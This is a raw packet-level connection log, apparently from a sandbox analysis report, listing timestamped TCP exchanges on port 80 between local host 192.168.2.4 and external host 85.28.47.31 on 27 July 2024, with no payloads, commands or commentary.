Jul 27, 2024 05:39:17.435066938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435081959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435087919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435096979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435103893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435115099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435117006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435133934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435157061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435159922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435173035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435187101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435193062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435203075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435205936 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435218096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435221910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435234070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435237885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435249090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435254097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435265064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435265064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435282946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435283899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435297966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435307980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435329914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435329914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435508013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435527086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435539961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435549021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435555935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.435568094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435584068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435595036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.525921106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.525963068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526014090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526031971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526046991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526062965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526062965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526082039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526092052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526114941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526128054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526153088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526165009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526187897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526205063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526220083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526233912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526252985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526262999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526285887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526319027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526334047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526340008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526372910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526385069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526407003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526415110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526438951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526473045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526484966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526489973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526523113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526532888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526557922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526566982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526591063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526602030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526624918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526648998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526668072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526676893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526711941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526721001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526745081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526755095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526778936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526789904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526812077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526854992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526861906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526863098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526896000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526906967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526928902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526940107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526962042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.526972055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.526997089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527009010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527038097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527046919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527081013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527093887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527112961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527122021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527148008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527177095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527184010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527196884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527230024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527240038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527261972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527271032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527298927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527306080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527339935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527355909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527373075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527381897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527406931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527415991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527441025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527450085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527475119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527482986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527509928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527520895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527543068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527550936 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527575970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527586937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527609110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527614117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527645111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527653933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527690887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527704000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527736902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527750015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527769089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527798891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527801991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527808905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527836084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527861118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527880907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527888060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527919054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527931929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527951002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.527962923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.527985096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528014898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528028965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528034925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528069019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528079033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528100014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528111935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528132915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528143883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528177023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528184891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528218985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528228998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528250933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528263092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528285027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528295040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528317928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528347015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528373957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528384924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528417110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528430939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528450012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528459072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528503895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528503895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528549910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528583050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528616905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528628111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528650045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528664112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528687000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528718948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528722048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528729916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528753042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528773069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528786898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528800964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528820038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528835058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528853893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528868914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528887033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528913975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528934002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.528937101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528970003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.528985977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529004097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529017925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529036999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529053926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529089928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529103041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529118061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529135942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529155016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529169083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529185057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529206991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529232979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529254913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529254913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529289961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529301882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529321909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529333115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529359102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529366970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529392004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529402018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529424906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529434919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529470921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529478073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529510975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529520035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529548883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529560089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529582977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529593945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529617071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529628992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529650927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529661894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529687881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529692888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529721975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529733896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529755116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529764891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529788971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529800892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529823065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529848099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529858112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529867887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529886007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.529902935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.529927015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.613920927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.613991976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614002943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614037991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614044905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614090919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614097118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614132881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614137888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614166975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614176989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614202023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614209890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614236116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614247084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614279032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614286900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614319086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614339113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614362955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614368916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614402056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614412069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614434958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614444017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614469051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614481926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614507914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614514112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614543915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614552021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614583969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614594936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614640951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614645004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614690065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614697933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614731073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614742994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614764929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614773035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614795923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614811897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614829063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614839077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614862919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614885092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614906073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614917994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614950895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.614968061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.614999056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615012884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615032911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615042925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615067005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615077019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615112066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615118027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615150928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615181923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615184069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615197897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615227938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615237951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615272045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615283966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615304947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615315914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615339994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615348101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615382910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615389109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615422010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615432978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615456104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615464926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615489960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615498066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615520000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615535021 CEST	49477	80	192.168.2.4	85.28.47.31
